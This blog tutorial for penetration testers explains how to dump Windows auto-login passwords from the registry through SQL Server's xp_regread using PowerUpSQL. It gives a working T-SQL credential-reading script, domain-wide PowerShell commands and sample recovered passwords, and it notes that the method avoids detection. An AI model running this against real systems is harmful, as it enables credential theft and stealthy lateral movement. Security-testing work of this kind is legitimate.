Get Windows Auto Login Passwords via SQL Server with PowerUpSQL

written by Scott Sutherland | August 4, 2016
In this blog I'll show how to use PowerUpSQL to dump Windows auto login passwords through SQL Server. I'll also talk about other ways the xp_regread stored procedure can be used during pentests.

A brief history of xp_regread

The xp_regread extended stored procedure has been around since SQL Server 2000. The original version allowed members of the Public server role to access pretty much anything the SQL Server service account had privileges to. At the time, it had a pretty big impact, because it was common for SQL Servers to run as LocalSystem.

Since SQL Server 2000 SP4 was released, the impact of the xp_regread has been pretty minimal due to a few access controls that were added that help prevent low privileged logins from accessing sensitive registry locations. Now days, the only registry locations accessible to unprivileged users are related to SQL Server. For a list of those locations you can visit https://support.microsoft.com/en-us/kb/887165

Below are a few of the more interesting accessible paths:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\

```
Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail
HKEY_CURRENT_USER\Control Panel\International
```

Practical uses for xp_regread with the Public Role

Even with our hands tied, xp_regread can be used to grab a lot of useful information. In fact, when logged in as least privilege login, I often use it to grab server information that I couldn't get anywhere else. For example, the Get-SQLServerInfo function in PowerUpSQL includes some of those queries.

```
PS C:\> Get-SQLServerInfo
ComputerName           : SQLServer1
Instance               : SQLServer1
DomainName             : demo.local
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP1
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 8.1 Pro
OsVersionNumber        : 6.3
Currentlogin           : demo\user
IsSysadmin             : Yes
ActiveSessions         : 3
```

The access control restrictions implemented in SQL Server SP4 **do not** apply to sysadmins. As a result, anything the SQL Server service account can access in the registry, a sysadmin can access via xp_regread.

At first glance this may not seem like a big deal, but it does allow us to pull sensitive data from the registry without having to enable xp_cmdshell, which can trigger a lot of alarms when it’s enabled and used. So xp_regread actually ends up being handy for basic SQL Server post exploitation tasks.

Recovering Windows Auto Login Credentials with xp_regread

It’s possible to configure Windows to automatically login when the computer is started. While this is not a common configuration in corporate environments, it’s something we see frequently in retail environments. Especially those that support legacy POS terminals and kiosks with SQL Servers running locally. In most cases, when Windows is configured to login automatically, unencrypted credentials are stored in the registry key:

HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Using that information we can write a basic TSQL script that uses xp_regread to pull the auto login credentials out of the registry for us without having to enable xp_cmdshell. Below is an example TSQL script, but since the registry paths aren’t on the allowed list we have to run the query as a sysadmin:

```
-----------------------------------------------------------------------
-- Get Windows Auto Login Credentials from the Registry
-----------------------------------------------------------------------

-- Get AutoLogin Default Domain
DECLARE @AutoLoginDomain  SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey        = N'HKEY_LOCAL_MACHINE',
@key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name        = N'DefaultDomainName',
@value            = @AutoLoginDomain output

-- Get AutoLogin DefaultUsername
DECLARE @AutoLoginUser  SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey        = N'HKEY_LOCAL_MACHINE',
@key                    =  N'SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon',
@value_name        = N'DefaultUserName',
@value            = @AutoLoginUser output

-- Get AutoLogin DefaultUsername
DECLARE @AutoLoginPassword  SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey        = N'HKEY_LOCAL_MACHINE',
@key                    =  N'SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon',
@value_name        = N'DefaultPassword',
@value            = @AutoLoginPassword output

-- Display Results
SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
```

I've also created a PowerUpSQL function called "Get-SQLRecoverPwAutoLogon" so you could run it on scale. It will recover the default Windows auto login information and the alternative Windows auto login information if it has been set. Then it returns the associated domain name, user name, and password.

Below is a command example for those who are interested. If you're interest in learning about blindy targeting SQL Server you can peek at this blog.

```
PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-
SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object
{$_.Status –eq "Accessible"}
PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose
VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success.
VERBOSE:  SQLServer2.demo.local\Application  :  Connection
Success.
```

```
VERBOSE: SQLServer2.demo.local\Application : This function
requires sysadmin privileges. Done.
VERBOSE: SQLServer3.demo.local\2014 : Connection Success.
VERBOSE: SQLServer3.demo.local\2014 : This function requires
sysadmin privileges. Done.

ComputerName : SQLServer1
Instance     : SQLServer1\Instance1
Domain       : demo.local
UserName     : KioskAdmin
Password     : test

ComputerName : SQLServer1
Instance     : SQLServer1\Instance1
Domain       : demo.local
UserName     : kioskuser
Password     : KioskUserPassword!
```

Wrap Up

Even though the xp_regread extended stored procedure has been partially neutered, there are still a number of ways that it can prove useful during penetration tests and red team engagements. Hopefully you'll have some fun with the "Get-SQLServerInfo", "Get-SQLRecoverPwAutoLogon" functions that build off of its capabilities. More registry fun to come. In the meantime, good luck and hack responsibly!

References

- https://support.microsoft.com/en-us/kb/887165
- https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx
- http://sqlmag.com/t-sql/using-t-sql-manipulate-registry